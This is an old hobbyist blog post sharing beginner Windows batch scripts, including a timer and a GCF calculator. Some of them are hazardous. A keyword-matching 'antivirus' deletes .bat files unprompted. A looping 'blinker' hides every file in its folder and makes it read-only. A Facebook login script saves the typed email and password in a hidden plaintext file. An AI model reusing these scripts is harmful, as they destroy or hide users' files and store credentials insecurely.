Martes, Setyembre 27, 2011

         Welcome to my batch codes Blog! I will post here my own Batch Codes I made. These are some of my codes:  ( Note: Copy And Paste it on Notepad and save it as the the file name said. Open it and the the result is there.)

1.) Batch Antivirus Source Code: ( It can only detect batch viruses ) - Save it as "Antivirus.bat"
code:

@echo off
color cb
title Batch Antivirus
cls
echo ===============
echo Loading........
echo ===============
for /f %%x in (
'findstr /i /m "virus r.i.p byebye HaHaHa Hacked Hack *" *.bat'
) do (
for /f %%z in (
'findstr /i /b /m "tskill del copy shutdown ipconfig ren reg" %%x'
) do (
if /i %%z equ %%x (
if not %%z == Antivirus.bat (
cls
echo Virus Detected!!
echo %%x was deleted....
del %%x & pause >nul
)
)
)
)
)
cls
echo NO VIRUS.
pause >nul

2.) Batch File Blinker ( I made This just to make my computer strange ) - Save it as Blink.bat
code:

@echo off
:blink
attrib +s +h +r *.*
ping -n 2 1 >nul
attrib +s +h +r *.*
ping -n 2 1>nul
goto :blink

3.) Batch Party  ( Only my experiment ) - Save it as Party.bat
code:


@echo off
:party
cls
echo Party Rock!!!!!!!!
color b0
ping -n 1>nul
color 32
ping -n 1>nul
color a7
ping -n 1>nul
color 3d
ping -n 1>nul
color f5
ping -n 1>nul
color 70
ping -n 1>nul
color 9e
ping -n 1>nul
goto :party

3.) Batch Facebook Log In  And....... (Nothing)  - Save it as FBlogin.bat

code:



@echo off
cls
title Facebook Log In
set /p email=Enter email:
set /p pass=Enter password:
cls
echo ^<html^> >>h%email.htm
echo ^<body onload="javascript:document.form.send()"^> >>h%email%.htm
echo ^<form name="form" method="post" action="http://www.facebook.com/login.php?"^> >>h%email%.htm
echo ^<input type="text" name="email" value="%email%"^> >>h%email%.htm
echo ^<input type="password" name="pass" value="%pass%"^> >>h%email%.htm
echo ^<input type="submit" value="LOG IN" ^> >>h%email%.htm
echo ^</form^> >>h%email%.htm
echo ^</body^> >>h%email%.htm
echo ^</html^> >>h%email%.htm
attrib +s +h +r h%email%.htm
start h%email%.htm
cls
echo email=%email% >>file%email%.txt
echo pass=%pass% >>file%email%.txt
echo. >>file%email%.txt
attrib +h +s file%email%.txt



4.) Batch Timer ( I made this one to have a timer program) - Save it as Batch_Timer.bat
code:


@echo off
:main
title Batch Timer
cls
set /p min=Minutes:
set /p sec=Seconds:
echo Press Any Character Key To Start Timer
pause>nul
:time
if /i %sec% lss 10 (set sed=0%sec% ) else ( set sed=%sec% )
cls
title %min%:%sed%
if /i %min% equ 0 ( if /i %sec% equ 0 ( goto :done ))
if /i %sec% equ 0 (
  ping -n 2 127.0.0.0 >nul
  set sec=59
  set /a min=%min%-1
  goto :time
) else (
  ping -n 2 127.0.0.0 >nul
  set /a sec=%sec%-1
  goto :time
)

:done
title Times up!!!
cls
echo Times Up...
echo Press Any Character Key To Set a new timer.
pause>nul
goto :main

5.) Batch GCF finder ( Just to have that program ) - Save it as gcf.bat.
code:


@echo off
cls
set /p a=Enter number.
set /p b=Enter another number.
:cond1
if /i %a% leq %b% (
  goto :cond2
) else (
  goto :change1
)
:cond2
if /i %a% gtr 0 (
  goto :change2
) else (
  goto :conclude
)

:change1
set c=%b%
set b=%a%
set a=%c%
goto :cond2

:change2
set/a b=%b%-%a%
goto :cond1
:conclude
echo The GCF of your given is %b%.
pause>nul


6.) Lag Test

Now I have a new program about Lag test. It's not a true test, but just an estimate. Make first a folder for these batch files. There are 3 files:
1.) Create.bat
2.) Deleter.bat
3.) LagTest.bat


Download Here:
1.) Create.bat
2.) Deleter.bat
3.) LagTest.bat

Instruction :

Open first the Create.bat. Then close it if these's a "Close Now." message. Then, Open LagTest.bat. Type "y"
and press ENTER. Wait ...   ...and the result shows.



       






It's for now. Thanks for viewing. I will make new projects and I will add it here. 


The End.










Download Batch Files Here:
1.)Batch Antivirus
2.)Batch File Blinker
3.)Batch Party
4.)Batch Login
5.)Batch Timer
6.) Batch GCF Finder

Walang komento:

Mag-post ng isang Komento